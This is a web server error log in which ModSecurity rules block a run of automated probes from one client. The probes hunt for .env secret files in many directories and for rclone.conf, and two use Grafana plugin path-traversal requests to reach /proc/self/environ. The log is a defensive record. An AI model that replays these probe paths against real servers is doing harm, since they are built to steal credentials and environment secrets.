[Mon Oct 26 14:54:31.761997 2026] [security2:error] [pid 3084020:tid 3084020] [client 34.39.215.232:33112] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at-h57L9QjyjajVBwlSNBwAAACA"]
[Mon Oct 26 14:54:31.762354 2026] [security2:error] [pid 3084020:tid 3084020] [client 34.39.215.232:33112] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at-h57L9QjyjajVBwlSNBwAAACA"]
[Mon Oct 26 14:54:31.763541 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:33098] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at-h52jM5XERzcmv0SW_qQAAAAs"]
[Mon Oct 26 14:54:31.763688 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:33098] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at-h52jM5XERzcmv0SW_qQAAAAs"]
[Mon Oct 26 14:54:31.763915 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:33098] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at-h52jM5XERzcmv0SW_qQAAAAs"]
[Mon Oct 26 14:54:31.816935 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:33074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at-h56FL9aMETz-8AU8c_QAAAAQ"]
[Mon Oct 26 14:54:31.817149 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:33074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at-h56FL9aMETz-8AU8c_QAAAAQ"]
[Mon Oct 26 14:54:31.817433 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:33074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at-h56FL9aMETz-8AU8c_QAAAAQ"]
[Mon Oct 26 14:54:31.876146 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at-h581s7k65ejr69eONrQAAABc"]
[Mon Oct 26 14:54:31.876451 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at-h581s7k65ejr69eONrQAAABc"]
[Mon Oct 26 14:54:31.876904 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at-h581s7k65ejr69eONrQAAABc"]
[Mon Oct 26 14:54:31.903960 2026] [core:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33082] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Mon Oct 26 14:54:31.905045 2026] [core:error] [pid 3083994:tid 3083994] [client 34.39.215.232:32930] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Mon Oct 26 14:54:31.906441 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at-h5_o8w19imigfk0t9rQAAABg"]
[Mon Oct 26 14:54:31.906695 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at-h5_o8w19imigfk0t9rQAAABg"]
[Mon Oct 26 14:54:31.906918 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at-h5_o8w19imigfk0t9rQAAABg"]
[Mon Oct 26 14:54:31.918360 2026] [security2:error] [pid 3084020:tid 3084020] [client 34.39.215.232:33112] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at-h57L9QjyjajVBwlSNCAAAACA"]
[Mon Oct 26 14:54:31.918614 2026] [security2:error] [pid 3084020:tid 3084020] [client 34.39.215.232:33112] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at-h57L9QjyjajVBwlSNCAAAACA"]
[Mon Oct 26 14:54:31.919243 2026] [security2:error] [pid 3084020:tid 3084020] [client 34.39.215.232:33112] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at-h57L9QjyjajVBwlSNCAAAACA"]
[Mon Oct 26 14:54:32.031601 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:33098] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at-h6GjM5XERzcmv0SW_qgAAAAs"]
[Mon Oct 26 14:54:32.031862 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:33098] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at-h6GjM5XERzcmv0SW_qgAAAAs"]
[Mon Oct 26 14:54:32.032142 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:33098] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at-h6GjM5XERzcmv0SW_qgAAAAs"]
[Mon Oct 26 14:54:32.033244 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33062] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at-h6PEWMevIOUAFFIb9nQAAAB4"]
[Mon Oct 26 14:54:32.033376 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33062] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at-h6PEWMevIOUAFFIb9nQAAAB4"]
[Mon Oct 26 14:54:32.033592 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33062] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at-h6PEWMevIOUAFFIb9nQAAAB4"]
[Mon Oct 26 14:54:32.034590 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at-h6CE-ZP4qhScpL9OPGAAAAAU"]
[Mon Oct 26 14:54:32.034747 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at-h6CE-ZP4qhScpL9OPGAAAAAU"]
[Mon Oct 26 14:54:32.034937 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at-h6CE-ZP4qhScpL9OPGAAAAAU"]
[Mon Oct 26 14:54:32.230381 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ml/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at-h6M1s7k65ejr69eONrgAAABc"]
[Mon Oct 26 14:54:32.230612 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at-h6M1s7k65ejr69eONrgAAABc"]
[Mon Oct 26 14:54:32.230890 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at-h6M1s7k65ejr69eONrgAAABc"]
[Mon Oct 26 14:54:32.504377 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at-h6A7tQS1M73WECjKQqAAAAAY"]
[Mon Oct 26 14:54:32.504652 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at-h6A7tQS1M73WECjKQqAAAAAY"]
[Mon Oct 26 14:54:32.504937 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at-h6A7tQS1M73WECjKQqAAAAAY"]
[Mon Oct 26 14:54:32.505826 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at-h6CVsqF6Prn45f_BAmwAAABM"]
[Mon Oct 26 14:54:32.506114 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at-h6CVsqF6Prn45f_BAmwAAABM"]
[Mon Oct 26 14:54:32.506337 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at-h6CVsqF6Prn45f_BAmwAAABM"]
[Mon Oct 26 14:54:32.506410 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at-h6CVsqF6Prn45f_BAmwAAABM"]
[Mon Oct 26 14:54:32.506425 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at-h6CVsqF6Prn45f_BAmwAAABM"]
[Mon Oct 26 14:54:32.521717 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at-h6LJoBe2aZMAtY1nEQQAAAA8"]
[Mon Oct 26 14:54:32.521877 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at-h6LJoBe2aZMAtY1nEQQAAAA8"]
